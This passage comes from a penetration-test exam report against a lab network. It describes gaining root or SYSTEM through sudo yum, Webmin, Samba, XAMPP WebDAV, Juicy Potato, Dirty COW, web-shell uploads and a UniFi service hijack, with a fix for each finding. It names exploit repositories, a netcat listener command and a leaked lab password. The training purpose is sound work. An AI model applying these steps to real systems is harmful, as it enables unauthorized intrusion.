Figure 3.76: RPM Creation

A�er a yum package was created, the tester transferred it to the target machine using the wget utility
to download the file from a web server running on his local machine.

Figure 3.77: RPM Transfer

Once the file had been transferred, the tester opened a listener on his machine, and executed the rpm
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package as root with the sudo utility.

Figure 3.78: RPM Execution

As expected, there was no prompt for a password and it executed successfully outputting the following
message:

Figure 3.79: RPM Results

Back on the listener, the tester received a reverse shell as shown here:
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Figure 3.80: Shell Reception

A�er running some identification commands, the tester confirmed that the permissions of this shell
are those of the root user.

Vulnerability Explanation:

Since Rick and many other users have been mistakenly allowed to run the yum installer as the root user,
many have found ways to abuse this binary to gain higher privileges on machines. Particularly for this
binary, the tester took a simple reverse shell script, compiled it into a package that yum understood,
and ran it as root.

Vulnerability Fix:

This vector of escalation was due to someone manually adding the yum binary to the list of programs
that Rick is allowed to run as root without a password. To remediate this, Rick should only be allowed
the minimum amount of privileges he needs to go about his duties. The yum binary should be removed
from the Rick user’s Sudo rules.

Severity:

This vulnerability is classed as high because it allows a regular user to gain root privileges and access
all data stored on the machine regardless of permissions. This compromises the machine’s integrity.

Proof Screenshot Here:
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Figure 3.81: Key Grab

Proof.txt Contents:

m4qrv9ghu2u4k9p2xst6

3.2.6 System IP: 10.12.1.88 (Webadmin, Manual Exploitation)

3.2.6.1 Service Enumeration

Server IP Address Ports Open

10.12.1.88 TCP: 22, 10000, 22659, 23333, 31258, 36834, 53773

UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9 (protocol 2.0)
10000/tcp open http syn-ack ttl 63 MiniServ 1.890
22659/tcp filtered unknown
23333/tcp filtered elxmgmt
31258/tcp filtered unknown
36834/tcp filtered unknown
53773/tcp filtered unknown
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Running: OpenBSD 6.X

Vulnerability Explanation:

Enumeration for this machine began with a simple nmap scan which revealed a web application
running on port 10000. It also gave the tester a version number which was a common weakness for the
machines on this network. Simply researching this version number along with the so�ware pulled
up several unauthenticated remote code execution exploits. The most promising one was found at
https://github.com/ruthvikvegunta/CVE-2019-15107 and was assigned CVE-2019-15107.

A�er cloning into the github repository, the tester ran the python script included with the arguments
required and landed straight into a root-level shell. Execution of the exploit and proof of access-level is
shown here:

Figure 3.82:Webmin RCE Exploit
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Figure 3.83: Shell Reception

The tester was also able to exploit this vulnerability manually without any public scripts by manually
sending a malicious web request (from the poc section of the github page) using the Burp Suite tool.
The first request sent was to check wether or not perl was installed on the machine. The request and
its response are shown:
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Figure 3.84: Perl Install Check

Figure 3.85: Reverse Shell Payload

Once the tester confirmed that perl was installed, he opened a generic netcat listener on his machine
with nc -nvlp 1618 and executed a perl reverse shell command on the target. The sent request
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and the reception of the shell are shown below:

Figure 3.86:Webmin Manual RCE

Figure 3.87: Shell Reception

As demonstrated, both attempts, manual and automated, landed the tester straight into a root shell.
This indicates that the Webmin application was running with the permissions of the root user which is
against best practice.
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Vulnerability Fix:

To fix this vulnerability, IT sta� should update the webmin so�ware to the latest versions which are
patched against this remote code execution vulnerability. Also, the process should be run with the
permissions of the www-data user if possible.

Severity:

This vulnerability is classed as high because it allows for an unauthenticated user to gain not only shell
access to the machine, but shell access with the privileges of root which compromise the integrity of
the entire system.

3.2.6.2 Privilege Escalation

Since the exploit and the tester’s manual requests allowed root access immediately, there was no need
to escalate any privileges.

Proof Screenshot Here:

Figure 3.88: Key Grab

Proof.txt Contents:

jbk490m7px62htbmwrp0
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3.2.7 System IP: 10.12.1.129 (Sam)

3.2.7.1 Service Enumeration

Server IP Address Ports Open

10.12.1.129 TCP: 22, 80, 139, 445

UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.9p1 Ubuntu 2
80/tcp open http Apache httpd 2.4.12
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 3.5.11

Running: Linux 3.X|4.X

Vulnerability Explanation:

The tester’s enumeration for this machine began with port 445 for SMB. The tester ran the nmap
scanning tool with the smb-enum-shares script which connected to the SMB ports and listed all
available shares as well as the permissions an anonymous user would have on them. The output is
shown below:
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Figure 3.89: SMB Shares

A�er reading the results of the scan, the tester discovered that a test share has been le� writable for
anonymous users which indicated that this might be a possible vector of exploitation. This also lead
the tester to look online for possible vulnerabilities for Samba version 3.5.11.

This research proved fruitful as it turned out that this version of Samba is vulnerable to a re-
mote code execution weakness and is assigned CVE-2017-7494 with exploit code available at
https://github.com/joxeankoret/CVE-2017-7494.

Once the tester cloned into the repository and copied the code, he ran the exploit with the required
options and received a fully functional reverse shell with root privileges from the target. The execution
of the exploit as well as the reception of the shell is shown below:
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Figure 3.90: Exploit Execution

Figure 3.91: Shell Reception

As demonstrated, the tester gained full, root-level access to this machine and was able to perform any
actions with full authority and privileges on the system.

Vulnerability Fix:

The method to repair this weakness would be to update Samba to the latest version and keep it
maintained with the latest updates and security patches released by the vendor.

Severity:

The severity of this vulnerability would be classed as high due to the fact that running a simple python
script against the target lands an unauthenticated user in a root-level shell session with the target
machine.
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3.2.7.2 Privilege Escalation

Since the initial foothold landed the tester in a shell session as root, no privilege escalation was
necessary.

Proof Screenshot Here:

Figure 3.92: Key Grab

Proof.txt Contents:

qiab2o8ypnquoy87wvew

3.2.8 System IP: 10.12.1.136 (WinAS01)

3.2.8.1 Service Enumeration

Server IP Address Ports Open

10.12.1.136 TCP: 80, 443

UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.3
443/tcp open ssl/https Apache/2.4.3

Running: Microsoft Windows 7|8|8.1|Vista|2008
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Vulnerability Explanation:

Since this machine’s scan revealed only web ports to be open, that was where the tester’s enumeration
began. As the tester navigated to http://10.12.1.136/, he was immediately redirected to an Xampp
administration page. This page also disclosed the exact version of Xampp that was running on the
target machine. This gave the tester valuable intelligence about how to attack this machine:

Figure 3.93: Xampp Version Disclosure

A�er looking for vulnerabilities for version 1.8.1 of the Xampp so�ware, the tester came across an
exploit on github that abused the so�ware’s webdav functionality. The repository is available at
https://github.com/ruthvikvegunta/XAMPP-WebDAV-Exploit and contains the scripts and instructions
for exploitation.

A�er cloning into the repository, the tester ran the python script with all the required arguments against
the target which landed him on a fully functional shell session. Execution of the script, shell reception,
and proof of identity are shown here:

Figure 3.94:WebDav Exploit Execution
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Figure 3.95: Shell Reception

Figure 3.96: Identity Verification

Vulnerability Fix:

To mitigate this vulnerability, Xampp should be promptly updated to the latest version and maintained
with the most recent so�ware and security patches according to best practices.

Severity:
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This vulnerability would be classed as high because it allows an attacker unauthorized access to this
machine and all the data that is stored on it.

3.2.8.2 Privilege Escalation

The vector that was taken to escalate privileges on this machine was the abuse of theSeImpersonate
and the SeCreateGlobalPrivilege privileges assigned to the user in whose context the tester
had a shell.

Figure 3.97: Privilege Discovery

Vulnerability Exploited:

A very common exploit dubbed as juicy potato was developed simply to exploit this misconfiguration
and gain the access level of nt authority/system. The exploit code as well as pre-compiled
binaries can be found at https://github.com/ohpe/juicy-potato.

A caveat to keep in mind for this exploit is that an attacker needs valid CLSIDs in order for the exploit
to execute successfully. A list of valid CLSIDs for every vulnerable operating system can be found at
http://ohpe.it/juicy-potato/CLSID/. The only way to find a working CLSID is to simply cycle through
the ones listed for a particular OS. A�er having done that, the tester found the working CLSID for this
machine to be {03ca98d6-ff5d-49b8-abc6-03dd84127020}.

Once the tester had a valid CLSID, he opened a Netcat listener on his local machine and executed the
exploit with a Netcat reverse shell payload. This is shown here:
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Figure 3.98: Juicy Potato Execution

A�er a moment, the tester received confirmation that the payload command had executed successfully
with the privileges of the nt authority/system user. Back on the tester’s machine, the listener he set
up caught a reverse shell with nt authority/system privileges. The shell and permissions are shown
here:

Figure 3.99: NT Authority/System Shell

Vulnerability Explanation:

The juicy potato exploits abuse the way microso� handles tokens and a�ects the commercial version
of Windows from seven to ten and the server versions from 2008 to 2016.

Vulnerability Fix:
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The fix for this exploit would be to remove the SeImpersonate and the SeCreateGlobalPriv-
ilege privileges assigned to the Xampp user. If that isn’t possible, Windows should be updated to the
latest version and all security patches should be applied regularly.

Severity:

The severity of this exploit would be classed as high because it compromises the integrity of the entire
system.

Proof Screenshot Here:

Figure 3.100: Key Grab

Proof.txt Contents:

25cx2lbsi97ofbcosbyp

3.2.9 System IP: 10.12.1.142 (Teamspeak)

3.2.9.1 Service Enumeration

Server IP Address Ports Open

10.12.1.142 TCP: 21, 22, 80, 443, 3306, 10011, 30033
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UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.2.2
22/tcp open ssh OpenSSH 5.3
80/tcp open http Apache httpd 2.2.15
|
| http-robots.txt: 2 disallowed entries
|_/fudforum/ /osclass/
443/tcp open ssl/http Apache httpd 2.2.15
3306/tcp open mysql MySQL 5.1.73
10011/tcp open textui TeamSpeak 3 ServerQuery
30033/tcp open tcpwrapped

Running: Linux 2.6.X

Vulnerability Explanation:

The exploitation for this machine was drawn out and complex, however, it began with two robots.txt
entries which were discovered by the Nmap scan on the system. A�er visiting the /fudforumweb
directory and scrolling around some of the posts, the tester came across a specific post by the user
Samantha, which exposed a hidden location that hosted a backup of the entire web application. The
post is shown below:

Figure 3.101: Forum Post

A�er visiting that location, a directory listing with a compressed backup file was presented for download.
It is shown here:
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Figure 3.102: Hidden Backup File

Once the tester downloaded the file to his local machine, he unzipped it and discovered the file he was
a�er from the beginning: config.php. PHP configuration files tend to be extremely important in web
applications because they o�en contain plain text credentials to the database it uses (which is publicly
accessible on port 3306 in this case).

Once the tester unzipped the backup and read the configuration file, he found the plaintext credentials
to be root:RootAccount91ow. The processing and discovery of the credentials is shown below:

Figure 3.103: Backup Decompression
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Figure 3.104: Credential Extraction

Once the credentials were discovered, the tester immediately attempted a login to the publicly accessi-
ble MySQL service on port 3306 and achieved successful authentication.

Figure 3.105:MYSQL Login

Now that the tester had access to the database that the web application was using, he started the
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search for hashed credentials by listing all the databases available and the tables that were in the most
interesting database: Fudforum. Both those queries and their responses are shown below:

Figure 3.106: Database Listing
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Figure 3.107: Fudforum Table Listing

A�er enumerating and thoroughly searching for any interesting tables, the tester found a users table
called fud30_users. The tester suspected that this table might have credentials so he listed all of
its contents. They are shown below:

Figure 3.108: Table Discovery
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Figure 3.109: Credential Extraction

The database threw out all the credentials that were being used to authenticate with the Fudforum
application. Unfortunately these hashes proved to be unbreakable due to the fact that they were salted.
The tester realized that it was impossible to crack the password for the admin account, however, he
also knew that he could just create a new account and substitute the hash and salt for the admin
account with his known hash/salt pair.

Account creation is shown in the following three screenshots:

Figure 3.110: Navigating to Acct Creation
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Figure 3.111: Submit Acct Creation Form

Figure 3.112: Account Confirmation
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A�er the new account with a password of passwordwas created, the tester refreshed the database
to see wether or not it had updated. He found that a new hash and salt had been created for the test
account which meant that all the tester had to do now was replace the hash and salt of the admin
account with those that were generated for his test account. The new hashes, swapping of the admin
hashes, and final comparisons are shown below:

Figure 3.113: New Hash/Salt Discovery

Figure 3.114: Admin Account Hash/Salt Swap
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Figure 3.115: Final Comparison

As observed in the final screenshot, the hash and salt for the admin account and the test account are
identical meaning the tester should be able to login to the admin account with the password of his
newly created test account.

Figure 3.116: Fudforum Authentication
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Figure 3.117: Administrative Panel

Once the tester gained full access to the administrative panel, he searched for a utility or some function-
ality that could be abused to gain a shell on the system. A�er some enumeration, the tester discovered
a page manager which allowed him to create web pages that are capable of running php code.

Figure 3.118: Fudforum Administration
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Figure 3.119: Page Manager Discovery

The tester immediately copied a php reverse shell and pasted it into a page he created name shell. The
tester also checked the box which told Fudforum that the page being created is allowed to run and
execute php code. Once the page was created, the tester opened a listener on his local machine and
visited the page to execute the code.

Figure 3.120:Malicious Page Creation
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Figure 3.121: PHP Code Execution

A�er the code executed, the browser page was hanging and when the tester checked his listener, he
found that it had caught the php reverse shell sent by the target.

Figure 3.122: Shell Reception

Vulnerability Fix:

The fix for this vulnerability is to create strict policy that would prevent employees from leaking sensitive
web directories and backup locations in a public forum. Backups should also be removed from any
location that is accessible to the public. Lastly, port 3306 should be closed to the network or access
should be limited to only those who need it.
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Severity:

The vulnerabilities discussed above are classed as high due to the fact that it allowed an unauthenti-
cated attacker to gain full shell access to the machine.

3.2.9.2 Privilege Escalation

Because the tester’s shell was received with the permissions of the user Apache, he needed to perform
privilege escalation in order to gain full access to the machine. The vulnerability that was used to gain
root on this particular machine was a kernel exploit.

Vulnerability Exploited:

A�er landing on the machine, one of the most important checks to perform is a kernel version check
since achieving successful privilege escalation on outdated kernels is extremely simple. The check is
performed with uname -a and it’s results are shown below:

Figure 3.123: Kernel Version Check

The uname tool reveals that not only does the target have a compiler installed (which is re-
quired for kernel exploitation), but that the kernel version is 2.6.32-573, which is among the
versions that were found vulnerable to the dirty cow exploit. The uncompiled code is available at
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs and is assigned CVE-2016-5195.

A�er downloading the code, the tester had to compile it according to the instructions found inside
the exploit itself. It’s compilation and a check of the current privileges are shown before and a�er the
execution of the exploit.

Figure 3.124: Kernel Exploit Compilation
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Figure 3.125: Privilege Check

Now that the exploit was compiled, the tester could execute it. This particular version of dirty cow
creates a new user called firefart with a password of your choosing and assigns it root privileges. The
actual exploitation is shown below:

Figure 3.126: Exploit Execution

Figure 3.127: User Switch
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Once the tester switched into the firefart user with a password that he specified during execution of
the exploit, he saw that he had been added to the root group giving him full root permissions.

Vulnerability Explanation:

According to the o�icial developers of the exploit, a race condition was found in the way the Linux
kernel’s memory subsystem handled the copy-on-write (COW) breakage of private read-only memory
mappings. An unprivileged local user could use this flaw to gain write access to otherwise read-only
memory mappings and thus increase their privileges on the system.

Vulnerability Fix:

This escalation vector can be eliminated by upgrading the linux kernel to the latest version which
is patched against the dirt cow exploits. The kernel’s security should also be maintained as new
weaknesses are uncovered.

Severity:

This vulnerability is classed as high because it compromises the integrity of the system and allows an
unprivileged user access to sensitive and confidential data.

Proof Screenshot Here:

Figure 3.128: Key Grab

Proof.txt Contents:

5iuz6e8ktzuyhhtitvhn

3.2.10 System IP: 10.12.1.156 (PM)

3.2.10.1 Service Enumeration
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Server IP Address Ports Open

10.12.1.156 TCP: 22, 80, 139, 445

UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http Apache httpd 2.4.18
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 4.3.11

Running: Linux 3.X|4.X

Vulnerability Explanation:

The foothold on this machine was gained by exploiting an arbitrary file upload vulnerability in the
commenting system for a public forum. A�er establishing SMB as a secured port, the tester moved on
to the web ports and landed on a website with two blogs and a forum. A�er exploring these elements,
the tester noticed that in the forum, he could leave comments with files attached. However, in order to
do so, he needed to be registered user, so an account was created on the website as shown here:
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Figure 3.129: Account Creation Location
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Figure 3.130: Account Creation Page
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Figure 3.131: Account Creation Success

Once the tester was logged in to the website, he navigated to the forums and attempted to leave a
comment with a file attached. To test wether or not the website filters the files sent by users, the tester
went straight ahead with trying to upload a php reverse shell on to the system. To the tester’s surprise,
the forum accepted his comment with the file even though it was clearly malicious. The navigation to
the threads section and the posting of the comment is shown below:
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Figure 3.132: Selecting a Forum
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Figure 3.133: Selecting a Thread
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Figure 3.134: Uploading a Shell
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Figure 3.135: Shell Upload Success

A�er the tester received confirmation that his comment was sent in for review, it was clear that the
shell had made it on to the system, but its location still had to be discovered in order to execute it.
While conducting some more research, the came across a post by Packet Storm Security describing a
similar vulnerability but for a di�erent version of the web application. The post said that all uploaded
file are stored in /media/users/[USERNAME]/[FILENAME]. Even though the version of this
application was di�erent, the tester decided to see wether this path was accessible to him on this
machine. Navigation through those directories is shown below:
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Figure 3.136: Directory Level 1

Figure 3.137: Directory Level 2

Figure 3.138: Directory Level 3

Moving through the folders, the tester eventually landed on the directory where the reverse shell he
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uploaded was stored. The tester then opened a listener on his local machine and executed the php
shell by clicking on it. The ensuing shell session is shown below:

Figure 3.139: Shell Reception

Now, the tester had a fully interactive shell session on the machine with the privileges of the user
www-data.

Vulnerability Fix:

To fix this vulnerability, the b2evolution so�ware should be updated to the latest version published by
the vendor and all security patches should be installed as they are released.

Severity:

This vulnerability would be classed high because it allows any user who can register to put malicious
files on to the web server without any filtering or file validation. This lead to shell access for an attacker
on this machine.

3.2.10.2 Privilege Escalation

The first thing the tester did a�er landing on this machine was check the kernel version installed
with uname -a. A�er analyzing the output, the tester immediately knew that privilege escalation on
this machine will be performed through a kernel exploit because of the dated kernel version and the
presence of the gcc compiler.
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Figure 3.140: Kernel Version

Vulnerability Exploited:

The particular exploit that was used to gain root on this machine was CVE-2017-7308 which is a
kernel weakness for version 4.8.0-41 of the linux o�icial kernel. The code for it can be found at
https://www.exploit-db.com/exploits/41994.

A�er downloading the exploit and transferring it to the machine, the tester compiled the exploit,
verified his current privileges, and executed the exploit. A couple of moments a�er execution, the
tester had a root level shell.

Figure 3.141: Kernel Exploit Compilation
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Figure 3.142: Kernel Exploit Execution

Vulnerability Explanation:

This particular kernel exploit dealt with the vulnerability in the AF_PACKET sockets implementation
which can be abused to escalate privileges from any user to root.

Vulnerability Fix:

To mitigate this escalation vector, it is reccomended to upgrade the linux kernel to the latest version
and apply all updates and security patches as they are released by o�icial vendors. Compilers should
also be removed from the system if they are not necessary.

Severity:

This exploit would be classed as high because it compromises the integrity of the system by allowing
full access to the machine’s sensitive data to any low-level user.
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Proof Screenshot Here:

Figure 3.143: Key Grab

Proof.txt Contents:

hln661ubd8s3h9r3bhkn

3.2.11 System IP: 10.12.1.235 (Trace)

3.2.11.1 Service Enumeration

Server IP Address Ports Open

10.12.1.235 TCP: 80, 1935, 6666, 7080, 7443-7447, 7680

UDP: N/A

Nmap Scan Results:

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
1935/tcp open rtmp?
6666/tcp open irc?
7080/tcp open http Apache Tomcat/Coyote JSP engine 1.1
7443/tcp open ssl/http Apache Tomcat/Coyote JSP engine 1.1
|_http-title: UniFi Video
7445/tcp open unknown
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7446/tcp open ssl/unknown
7447/tcp open unknown
7680/tcp open tcpwrapped

Running: Microsoft Windows XP|98 (92%)

Vulnerability Explanation:

The vulnerability that was exploited on this machine was negligence of secure pages and arbitrary
file upload. Starting the initial enumeration, the tester scanned the web server on port 80 with a tool
called Nikto using the command nikto --url http://10.12.1.235/. His scan revealed that
a page called trace.axd, which allows the viewing of the previous 50 web requests sent to the web
server in plain text, was le� open to anyone. The results are shown here:

Figure 3.144: Nikto Scan Results

A�er visiting the tracing page, the tester noticed an interesting request sent to the authentication
terminal on the webpage. What was even more interesting was that it was a POST request which could
only mean that it contained login credentials. The tester clicked to view the contents of the request
and found clear text credentials which were sent to the server by by the admin user.
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Figure 3.145: Trace.axd Suspicious Request

Figure 3.146: Credential Exposure

Once the tester had valid credentials, he returned to the main page and successfully authenticated to
the Kartris system.
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Figure 3.147: Kartris Login

Figure 3.148: Kartris Admin Panel

Now that the tester had access to all the administrative tools and utilities, he had to find something he
could abuse to gain a reverse shell on the system. Some further research on Kartris revealed that a file
manager was among the functionalities of the admin panel. The detailed post that explains this vector
is located at https://www.exploit-db.com/exploits/48445 and isolates the link for the file manager to
http://10.12.1.235/Admin/_GeneralFiles.aspx.

When the tester visited that link, he found the manager and attempted to upload a web shell written in
the aspx format since this was a Microso� IIS web server. The upload was successful and the tester now
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was able to pass commands to the system and even upload additional files if needed. The interface,
shell upload, and shell demo are shown below:

Figure 3.149: File Manager Interface

Figure 3.150: Shell Upload

Figure 3.151: Shell Demo

The final step was to convert this web shell into a fully interactive reverse shell. This was done by
creating a reverse shell executable with msfvenom, uploading it to the target using the web shell’s
functionality, and executing it. All the steps are shown below:
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Figure 3.152: Payload Generation

Figure 3.153: Shell Upload

Figure 3.154: Shell Execution

A�er opening a listener on his local machine and executing the reverse shell on the target, the tester
received the shell back with the privileges of nt authority/network service.
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Figure 3.155: Shell Reception

Vulnerability Fix:

The only way to remediate this vulnerability is to remove public access to the trace.axd page. This page
is meant as a debugging tool and exposes the sensitive information of those communicating with the
web server. Once, this has been fixed, the system should be secured.

Severity:

This vulnerability would be classed as high because it exposes the confidential information of users
through a debugging feature which should not be accessible to the public.

3.2.11.2 Privilege Escalation

During initial enumeration on this machine, the tester came across a web server running on port 7080.
It landed the tester on a set up page which he worked through and an account creation page which he
filled out. A�er those steps, the tester was taken to an administrative panel for a so�ware called UniFi
Video whose version was displayed in the settings are of the application shown below:
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Figure 3.156: UniFi Version Enumeration

Vulnerability Exploited:

The tester took the so�ware and version number and did a bit of research which led to the discovery
of a common local privilege escalation technique in this specific version of UniFi Video. A detailed
guide on exploiting UniFi is available at https://www.exploit-db.com/exploits/43390 and the exploit is
assigned CVE-2016-6914.

The guide explains that UniFi Video ships with an automatically starting service called UniFiVideoSer-
vice. One of the executables that the service calls is named taskkill.exe which doesn’t exist. That
coupled with the fact that any unprivileged user can write to the UniFi main program directory means
that the tester can escalate his privileges. This is done by creating a malicious payload, naming it
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taskkill.exe (the name of the missing executable which the program is designed to look for and execute),
and restarting the machine in order to also force the vulnerable service to restart.

The tester began by generating a malicious payload and naming it taskkill.exe as shown below:

Figure 3.157: Payload Generation

Then the tester transferred it to the target machine and placed it in the directory where it will be
executed as the highest authority user.

Figure 3.158: Payload Placement

Finally, the tester opened another listener on his local machine and restarted the computer.
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Figure 3.159: PC Restart

Figure 3.160: New Shell Reception

As shown, the tester now gained a shell with nt authority/system permissions on the target.

Vulnerability Explanation:

This vulnerability is specific to the UniFi Video so�ware and abuses weak file/folder permissions as
well as insecure coding practices such as searching for and executing a file which does not exist.

Vulnerability Fix:

This vector to escalation can be mitigated by updating the UniFi Video so�ware to the latest version
and maintaining it with all relevant updates and security patches.

Severity:

The severity of this vulnerability is high because it allows a low-privileged user to gain full, unfettered
access to the system’s data and applications.

Proof Screenshot Here:
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Figure 3.161: Key Grab

Proof.txt Contents:

onc5fjjdac2jdpwnpp1r

3.3 Maintaining Access

Maintaining access to a system is important to us as attackers, ensuring that we can get back into
a system a�er it has been exploited is invaluable. The maintaining access phase of the penetration
test focuses on ensuring that once the focused attack has occurred (i.e. a bu�er overflow), we have
administrative access over the system again. Many exploits may only be exploitable once and we may
never be able to get back into a system a�er we have already performed the exploit.

3.4 House Cleaning

The house cleaning portions of this assessment ensures that remnants of the penetration test are
removed. O�en fragments of tools or user accounts are le� on an organization’s computer which
can cause security issues down the road. Ensuring that we are meticulous and no remnants of our
penetration test are le� over is important.

A�er collecting keys from the exam network was completed, I reverted each machine back to it’s
original state. VHL should not have to remove any user accounts or services from the system.
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4 Additional Items

4.1 Appendix - Key.txt Contents:

IP Addresses Hostname Key.txt Contents

10.12.1.27 Aaron ibvsojxhcqkvdwvvezvi

10.12.1.30 Records 9416snu86rm�nkx290j

10.12.1.41 Trails 2y1n8eogzx30wj706qa1

10.12.1.53 vps1723 w76jooebu9p4yshd9q71

10.12.1.68 Fed m4qrv9ghu2u4k9p2xst6

10.12.1.88 Webadmin jbk490m7px62htbmwrp0

10.12.1.129 Sam qiab2o8ypnquoy87wvew

10.12.1.136 WinAS01 25cx2lbsi97ofbcosbyp

10.12.1.142 Teamspeak 5iuz6e8ktzuyhhtitvhn

10.12.1.156 PM hln661ubd8s3h9r3bhkn

10.12.1.235 Trace onc5fjjdac2jdpwnpp1r
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